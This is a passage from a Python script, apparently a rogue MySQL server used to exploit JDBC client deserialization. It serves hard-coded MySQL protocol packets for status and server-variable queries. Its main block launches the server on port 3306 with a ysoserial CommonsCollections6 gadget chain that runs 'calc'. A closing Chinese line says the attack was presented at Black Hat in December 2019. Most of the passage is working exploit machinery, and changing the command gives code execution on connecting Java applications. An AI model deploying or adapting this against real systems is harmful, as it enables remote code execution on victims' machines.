\x63\x68\x65\x6d\x61\x5f\x68\x6f\x73\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x25\x00\x00\x14\x22\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x69\x6e\x64\x65\x78\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x15\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6c\x6f\x63\x6b\x65\x72\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x16\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x6d\x6f\x72\x79\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x17\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x74\x61\x64\x61\x74\x61\x5f\x6c\x6f\x63\x6b\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x18\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x19\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1a\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6e\x65\x73\x74\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x6c\x6f\x73\x74\x01\x30\x2e\x00\x00\x1b\x2b\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x22\x00\x00\x1c\x1f\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x1d\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1e\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x30\x00\x00\x1f\x2d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x61\x74\x74\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x20\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x21\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x22\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x67\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2c\x00\x00\x23\x29\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x24\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x25\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x26\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x27\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x28\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x29\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x75\x73\x65\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x16\x00\x00\x2a\x13\x50\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x6d\x74\x5f\x63\x6f\x75\x6e\x74\x01\x30\x15\x00\x00\x2b\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x1b\x00\x00\x2c\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x6d\x65\x6d\x6f\x72\x79\x07\x31\x30\x33\x31\x38\x37\x32\x0e\x00\x00\x2d\x0b\x51\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x11\x00\x00\x2e\x0e\x51\x63\x61\x63\x68\x65\x5f\x69\x6e\x73\x65\x72\x74\x73\x01\x30\x17\x00\x00\x2f\x14\x51\x63\x61\x63\x68\x65\x5f\x6c\x6f\x77\x6d\x65\x6d\x5f\x70\x72\x75\x6e\x65\x73\x01\x30\x14\x00\x00\x30\x11\x51\x63\x61\x63\x68\x65\x5f\x6e\x6f\x74\x5f\x63\x61\x63\x68\x65\x64\x01\x32\x1a\x00\x00\x31\x17\x51\x63\x61\x63\x68\x65\x5f\x71\x75\x65\x72\x69\x65\x73\x5f\x69\x6e\x5f\x63\x61\x63\x68\x65\x01\x30\x16\x00\x00\x32\x13\x51\x63\x61\x63\x68\x65\x5f\x74\x6f\x74\x61\x6c\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x0a\x00\x00\x33\x07\x51\x75\x65\x72\x69\x65\x73\x01\x38\x0c\x00\x00\x34\x09\x51\x75\x65\x73\x74\x69\x6f\x6e\x73\x01\x37\x13\x00\x00\x35\x10\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x6a\x6f\x69\x6e\x01\x30\x19\x00\x00\x36\x16\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x72\x61\x6e\x67\x65\x5f\x6a\x6f\x69\x6e\x01\x30\x0f\x00\x00\x37\x0c\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x15\x00\x00\x38\x12\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x5f\x63\x68\x65\x63\x6b\x01\x30\x0e\x00\x00\x39\x0b\x53\x65\x6c\x65\x63\x74\x5f\x73\x63\x61\x6e\x01\x30\x19\x00\x00\x3a\x16\x53\x6c\x61\x76\x65\x5f\x6f\x70\x65\x6e\x5f\x74\x65\x6d\x70\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x16\x00\x00\x3b\x13\x53\x6c\x6f\x77\x5f\x6c\x61\x75\x6e\x63\x68\x5f\x74\x68\x72\x65\x61\x64\x73\x01\x30\x0f\x00\x00\x3c\x0c\x53\x6c\x6f\x77\x5f\x71\x75\x65\x72\x69\x65\x73\x01\x30\x14\x00\x00\x3d\x11\x53\x6f\x72\x74\x5f\x6d\x65\x72\x67\x65\x5f\x70\x61\x73\x73\x65\x73\x01\x30\x0d\x00\x00\x3e\x0a\x53\x6f\x72\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x0c\x00\x00\x3f\x09\x53\x6f\x72\x74\x5f\x72\x6f\x77\x73\x01\x30\x0c\x00\x00\x40\x09\x53\x6f\x72\x74\x5f\x73\x63\x61\x6e\x01\x30\x1a\x00\x00\x41\x17\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x0e\x00\x00\x42\x0b\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x1a\x00\x00\x43\x17\x53\x73\x6c\x5f\x63\x61\x6c\x6c\x62\x61\x63\x6b\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x0c\x00\x00\x44\x0a\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x00\x11\x00\x00\x45\x0f\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x5f\x6c\x69\x73\x74\x00\x16\x00\x00\x46\x13\x53\x73\x6c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1b\x00\x00\x47\x18\x53\x73\x6c\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x17\x00\x00\x48\x14\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x16\x00\x00\x49\x13\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x16\x00\x00\x4a\x13\x53\x73\x6c\x5f\x64\x65\x66\x61\x75\x6c\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x01\x30\x17\x00\x00\x4b\x14\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x18\x00\x00\x4c\x15\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x16\x00\x00\x4d\x14\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x61\x66\x74\x65\x72\x00\x17\x00\x00\x4e\x15\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x62\x65\x66\x6f\x72\x65\x00\x19\x00\x00\x4f\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1b\x00\x00\x50\x18\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1c\x00\x00\x51\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x6f\x64\x65\x04\x4e\x4f\x4e\x45\x1e\x00\x00\x52\x1b\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x19\x00\x00\x53\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x01\x30\x1d\x00\x00\x54\x1a\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x73\x01\x30\x16\x00\x00\x55\x13\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x73\x5f\x72\x65\x75\x73\x65\x64\x01\x30\x21\x00\x00\x56\x1e\x53\x73\x6c\x5f\x75\x73\x65\x64\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x65\x6e\x74\x72\x69\x65\x73\x01\x30\x13\x00\x00\x57\x10\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x12\x00\x00\x58\x0f\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x0d\x00\x00\x59\x0b\x53\x73\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x00\x1a\x00\x00\x5a\x15\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x69\x6d\x6d\x65\x64\x69\x61\x74\x65\x03\x31\x30\x30\x15\x00\x00\x5b\x12\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x77\x61\x69\x74\x65\x64\x01\x30\x18\x00\x00\x5c\x15\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1a\x00\x00\x5d\x17\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1d\x00\x00\x5e\x1a\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x18\x00\x00\x5f\x15\x54\x63\x5f\x6c\x6f\x67\x5f\x6d\x61\x78\x5f\x70\x61\x67\x65\x73\x5f\x75\x73\x65\x64\x01\x30\x13\x00\x00\x60\x10\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x73\x69\x7a\x65\x01\x30\x14\x00\x00\x61\x11\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x77\x61\x69\x74\x73\x01\x30\x11\x00\x00\x62\x0e\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x61\x63\x68\x65\x64\x01\x30\x14\x00\x00\x63\x11\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64\x01\x31\x12\x00\x00\x64\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x72\x65\x61\x74\x65\x64\x01\x31\x12\x00\x00\x65\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x72\x75\x6e\x6e\x69\x6e\x67\x01\x31\x0a\x00\x00\x66\x06\x55\x70\x74\x69\x6d\x65\x02\x32\x32\x1d\x00\x00\x67\x19\x55\x70\x74\x69\x6d\x65\x5f\x73\x69\x6e\x63\x65\x5f\x66\x6c\x75\x73\x68\x5f\x73\x74\x61\x74\x75\x73\x02\x32\x32\x07\x00\x00\x68\xfe\x00\x00\x02\x00\x00\x00"
def get_commit_data():
return bytes([0x01, 0x00, 0x00, 0x01, 0x01, 0x2a, 0x00, 0x00,
0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x14, 0x40, 0x40, 0x73, 0x65, 0x73, 0x73, 0x69,
0x6f, 0x6e, 0x2e, 0x61, 0x75, 0x74, 0x6f, 0x63,
0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x00, 0x0c, 0x3f,
0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x80, 0x00,
0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x03, 0x01,
0x31, 0x07, 0x00, 0x00, 0x04, 0xfe, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00])
def get_var_data():
part1 = [0x01, 0x00, 0x00, 0x01, 0x14, 0x2e, 0x00, 0x00,
0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x18, 0x61, 0x75, 0x74, 0x6f, 0x5f, 0x69, 0x6e,
0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x5f,
0x69, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x2a,
0x00, 0x00, 0x03, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61,
0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74,
0x5f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x00,
0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd,
0x00, 0x00, 0x1f, 0x00, 0x00, 0x2e, 0x00, 0x00,
0x04, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x18, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74,
0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 0x63,
0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00,
0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2b,
0x00, 0x00, 0x05, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x15, 0x63, 0x68, 0x61, 0x72, 0x61,
0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74,
0x5f, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73,
0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00,
0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00,
0x00, 0x06, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00,
0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63,
0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f,
0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x00, 0x0c,
0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 0x00,
0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 0x07,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x10,
0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72,
0x00, 0x0c, 0x21, 0x00, 0x2d, 0x00, 0x00, 0x00,
0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00,
0x00, 0x08, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00,
0x00, 0x14, 0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x6f, 0x6e, 0x6e,
0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x0c,
0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 0xfd, 0x00,
0x00, 0x1f, 0x00, 0x00, 0x22, 0x00, 0x00, 0x09,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x0c,
0x69, 0x6e, 0x69, 0x74, 0x5f, 0x63, 0x6f, 0x6e,
0x6e, 0x65, 0x63, 0x74, 0x00, 0x0c, 0x21, 0x00,
0x2a, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x29, 0x00, 0x00, 0x0a, 0x03, 0x64,
0x65, 0x66, 0x00, 0x00, 0x00, 0x13, 0x69, 0x6e,
0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76,
0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1d,
0x00, 0x00, 0x0b, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x07, 0x6c, 0x69, 0x63, 0x65, 0x6e,
0x73, 0x65, 0x00, 0x0c, 0x21, 0x00, 0x09, 0x00,
0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00,
0x2c, 0x00, 0x00, 0x0c, 0x03, 0x64, 0x65, 0x66,
0x00, 0x00, 0x00, 0x16, 0x6c, 0x6f, 0x77, 0x65,
0x72, 0x5f, 0x63, 0x61, 0x73, 0x65, 0x5f, 0x74,
0x61, 0x62, 0x6c, 0x65, 0x5f, 0x6e, 0x61, 0x6d,
0x65, 0x73, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00,
0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x0d, 0x03, 0x64, 0x65, 0x66,
0x00, 0x00, 0x00, 0x12, 0x6d, 0x61, 0x78, 0x5f,
0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x5f,
0x70, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x00, 0x0c,
0x3f, 0x00, 0x15, 0x00, 0x00, 0x00, 0x08, 0xa0 ];
part2= [
0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x0e,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x11,
0x6e, 0x65, 0x74, 0x5f, 0x77, 0x72, 0x69, 0x74,
0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x26,
0x00, 0x00, 0x0f, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 0x72, 0x79,
0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x5f, 0x73,
0x69, 0x7a, 0x65, 0x00, 0x0c, 0x3f, 0x00, 0x15,
0x00, 0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00,
0x00, 0x26, 0x00, 0x00, 0x10, 0x03, 0x64, 0x65,
0x66, 0x00, 0x00, 0x00, 0x10, 0x71, 0x75, 0x65,
0x72, 0x79, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65,
0x5f, 0x74, 0x79, 0x70, 0x65, 0x00, 0x0c, 0x21,
0x00, 0x09, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00,
0x1f, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x11, 0x03,
0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x08, 0x73,
0x71, 0x6c, 0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x00,
0x0c, 0x21, 0x00, 0x9b, 0x01, 0x00, 0x00, 0xfd,
0x00, 0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00,
0x12, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x10, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f,
0x74, 0x69, 0x6d, 0x65, 0x5f, 0x7a, 0x6f, 0x6e,
0x65, 0x00, 0x0c, 0x21, 0x00, 0x12, 0x00, 0x00,
0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x13, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x5f,
0x7a, 0x6f, 0x6e, 0x65, 0x00, 0x0c, 0x21, 0x00,
0x12, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x2b, 0x00, 0x00, 0x14, 0x03, 0x64,
0x65, 0x66, 0x00, 0x00, 0x00, 0x15, 0x74, 0x72,
0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x5f, 0x69, 0x73, 0x6f, 0x6c, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x00, 0x0c, 0x21, 0x00, 0x2d,
0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00,
0x00, 0x22, 0x00, 0x00, 0x15, 0x03, 0x64, 0x65,
0x66, 0x00, 0x00, 0x00, 0x0c, 0x77, 0x61, 0x69,
0x74, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1f,
0x01, 0x00, 0x16, 0x01, 0x31, 0x04, 0x75, 0x74,
0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 0x38, 0x04,
0x75, 0x74, 0x66, 0x38, 0x04, 0x75, 0x74, 0x66,
0x38, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x75,
0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x5f, 0x63,
0x69, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x67,
0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x5f, 0x63,
0x69, 0x0e, 0x53, 0x45, 0x54, 0x20, 0x4e, 0x41,
0x4d, 0x45, 0x53, 0x20, 0x75, 0x74, 0x66, 0x38,
0x03, 0x31, 0x32, 0x30, 0x03, 0x47, 0x50, 0x4c,
0x01, 0x31, 0x08, 0x31, 0x36, 0x37, 0x37, 0x37,
0x32, 0x31, 0x36, 0x02, 0x36, 0x30, 0x07, 0x31,
0x30, 0x34, 0x38, 0x35, 0x37, 0x36, 0x03, 0x4f,
0x46, 0x46, 0x89, 0x4f, 0x4e, 0x4c, 0x59, 0x5f,
0x46, 0x55, 0x4c, 0x4c, 0x5f, 0x47, 0x52, 0x4f,
0x55, 0x50, 0x5f, 0x42, 0x59, 0x2c, 0x53, 0x54,
0x52, 0x49, 0x43, 0x54, 0x5f, 0x54, 0x52, 0x41,
0x4e, 0x53, 0x5f, 0x54, 0x41, 0x42, 0x4c, 0x45,
0x53, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x5f, 0x49, 0x4e, 0x5f, 0x44, 0x41, 0x54,
0x45, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x5f, 0x44, 0x41, 0x54, 0x45, 0x2c, 0x45,
0x52, 0x52, 0x4f, 0x52, 0x5f, 0x46, 0x4f, 0x52,
0x5f, 0x44, 0x49, 0x56, 0x49, 0x53, 0x49, 0x4f,
0x4e, 0x5f, 0x42, 0x59, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x2c, 0x4e, 0x4f, 0x5f, 0x41, 0x55, 0x54 ];
part3= [
0x4f, 0x5f, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45,
0x5f, 0x55, 0x53, 0x45, 0x52, 0x2c, 0x4e, 0x4f,
0x5f, 0x45, 0x4e, 0x47, 0x49, 0x4e, 0x45, 0x5f,
0x53, 0x55, 0x42, 0x53, 0x54, 0x49, 0x54, 0x55,
0x54, 0x49, 0x4f, 0x4e, 0x12, 0xe4, 0xb8, 0xad,
0xe5, 0x9b, 0xbd, 0xe6, 0xa0, 0x87, 0xe5, 0x87,
0x86, 0xe6, 0x97, 0xb6, 0xe9, 0x97, 0xb4, 0x06,
0x2b, 0x30, 0x38, 0x3a, 0x30, 0x30, 0x0f, 0x52,
0x45, 0x50, 0x45, 0x41, 0x54, 0x41, 0x42, 0x4c,
0x45, 0x2d, 0x52, 0x45, 0x41, 0x44, 0x03, 0x31,
0x32, 0x30, 0x07, 0x00, 0x00, 0x17, 0xfe, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00 ]
join_part = bytes(part1+part2+part3)
return join_part
if __name__ == "__main__":
start_server(3306,"unableUse",["java8","-jar","./ysoserial.jar","CommonsCollections6","calc"])
JDBC反序列化攻击的议题在2019年12月在blackhat公开。
